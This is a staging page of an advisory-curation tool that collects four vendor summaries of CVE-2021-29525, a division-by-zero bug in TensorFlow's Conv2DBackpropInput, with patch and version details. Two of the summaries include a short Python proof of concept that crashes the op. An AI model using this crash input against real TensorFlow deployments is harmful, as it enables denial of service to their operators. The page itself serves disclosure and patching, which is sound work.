Staging Environment: Content and features may be unstable or change without notice.

Advisory Package Curation

CVE-2021-29525

Progress 0 / 0

Advisory Summaries

github_osv/GHSA-xm2v-8rrw-w9pm

Division by 0 in `Conv2DBackpropInput` ### Impact An attacker can trigger a division by 0 in `tf.raw_ops.Conv2DBackpropInput`: ```python import tensorflow as tf input_tensor = tf.constant([52, 1, 1, 5], shape=[4], dtype=tf.int32) filter_tensor = tf.constant([], shape=[0, 1, 5, 0], dtype=tf.float32) out_backprop = tf.constant([], shape=[52, 1, 1, 0], dtype=tf.float32) tf.raw_ops.Conv2DBackpropInput(input_sizes=input_tensor, filter=filter_tensor, out_backprop=out_backprop, strides=[1, 1, 1, 1], use_cudnn_on_gpu=True, padding='SAME', explicit_paddings=[], data_format='NHWC', dilations=[1, 1, 1, 1]) ``` This is because the implementation https://github.com/tensorflow/tensorflow/blob/b40060c9f697b044e3107917c797ba052f4506ab/tensorflow/core/kernels/conv_grad_input_ops.h#L625-L655 does a division by a quantity that is controlled by the caller: ```cc const size_t size_A = output_image_size * dims.out_depth; const size_t size_B = filter_total_size * dims.out_depth; const size_t size_C = output_image_size * filter_total_size; const size_t work_unit_size = size_A + size_B + size_C; ... const size_t shard_size = use_parallel_contraction ? 1 : (target_working_set_size + work_unit_size - 1) / work_unit_size; ``` ### Patches We have patched the issue in GitHub commit 2be2cdf3a123e231b16f766aa0e27d56b4606535 https://github.com/tensorflow/tensorflow/commit/2be2cdf3a123e231b16f766aa0e27d56b4606535. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. ### For more information Please consult our security guide https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

gitlab/pypi/tensorflow/CVE-2021-29525

Division by 0 in `Conv2DBackpropInput` An attacker can trigger a division by 0 in `tf.raw_ops.Conv2DBackpropInput`: ```python import tensorflow as tf input_tensor = tf.constant([52, 1, 1, 5], shape=[4], dtype=tf.int32) filter_tensor = tf.constant([], shape=[0, 1, 5, 0], dtype=tf.float32) out_backprop = tf.constant([], shape=[52, 1, 1, 0], dtype=tf.float32) tf.raw_ops.Conv2DBackpropInput(input_sizes=input_tensor, filter=filter_tensor, out_backprop=out_backprop, strides=[1, 1, 1, 1], use_cudnn_on_gpu=True, padding='SAME', explicit_paddings=[], data_format='NHWC', dilations=[1, 1, 1, 1]) ```

pypa/tensorflow/PYSEC-2021-162

TensorFlow is an end-to-end open source platform for machine learning. An attacker can trigger a division by 0 in `tf.raw_ops.Conv2DBackpropInput`. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/b40060c9f697b044e3107917c797ba052f4506ab/tensorflow/core/kernels/conv_grad_input_ops.h#L625-L655) does a division by a quantity that is controlled by the caller. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

pysec/PYSEC-2021-162

TensorFlow is an end-to-end open source platform for machine learning. An attacker can trigger a division by 0 in `tf.raw_ops.Conv2DBackpropInput`. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/b40060c9f697b044e3107917c797ba052f4506ab/tensorflow/core/kernels/conv_grad_input_ops.h#L625-L655) does a division by a quantity that is controlled by the caller. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.